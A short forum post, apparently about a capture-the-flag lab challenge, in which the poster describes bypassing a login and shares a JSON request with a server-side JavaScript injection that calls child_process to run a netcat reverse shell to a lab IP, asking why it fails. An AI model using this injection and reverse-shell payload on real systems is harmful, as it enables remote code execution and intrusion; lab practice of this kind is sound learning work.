Anyone done this challenge?

I bypassed login page without problems.
But stuck a bit with getting reverse shell.
Tried this payload and for some reasons it fails
 

{"activity":"sleep'+(global.process.mainModule.require('child_process').exec('nc -e /bin/sh 10.10.XXX.XXX 9001'))+'","health":"60","weight":"42","happiness":"50"}

Request seems to be fine, response is also fine but no revshell.
Tried curl, wget .. all fails. Anyone knows proper combo?